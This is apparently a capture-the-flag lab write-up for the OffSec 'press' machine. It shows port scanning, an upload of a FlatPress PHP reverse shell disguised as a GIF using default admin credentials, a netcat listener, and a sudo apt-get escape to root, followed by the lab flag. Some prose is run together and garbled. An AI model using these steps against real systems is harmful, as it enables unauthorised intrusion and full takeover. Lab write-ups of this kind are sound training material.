

tags: Offsec PG Practice Intermediate Linux # press

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.219.29 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.219.29:22
Open 192.168.219.29:80
Open 192.168.219.29:8089

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.56 ((Debian))
|_ http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_ http-server-header: Apache/2.4.56 (Debian)
|_ http-title: Lugh Gaming Shop HTML5 Template
8089/tcp  open  http     syn-ack Apache httpd 2.4.56 ((Debian))
|_ http-favicon: Unknown favicon MD5: 315957B26C1BD8805590E36985990754
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: FlatPress
|_ http-generator: FlatPress fp-1.2.1
|_ http-server-header: Apache/2.4.56 (Debian)
``` Search[Flatpress 1.2.1 - File upload bypass to RCE]
(https://github.com/flatpressblog/flatpress/issues/152),,First
use`admin/password`login,Click`Uploader`,payload`GIF89a;`
```

```
GIF89a;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
...
``` uploadClickMedia manager,Open nc,Clickshell.phpshell,usesudo -l
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@debian:/tmp$ sudo -l
sudo -l
Matching Defaults entries for www-data on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on debian:
    (ALL) NOPASSWD: /usr/bin/apt-get
``` Check[GTFOBins] (https://gtfobins.github.io/gtfobins/apt-get/#shell),
```

```
www-data@debian:/tmp$ sudo /usr/bin/apt-get changelog apt
Get:1 store: apt 2.2.4 Changelog
Fetched 487 kB in 0s (0 B/s)
WARNING: terminal is not fully functional
/tmp/apt-changelog-HyRWIA/apt.changelog (press RETURN)!/bin/sh
!//bbiinn//ssh!/bin/sh
```

## whoami

root

## cd /root

## ls

email8.txt proof.txt

**cat proof.txt**

d72945da4ee0e2264214d45c3aea7bc0

---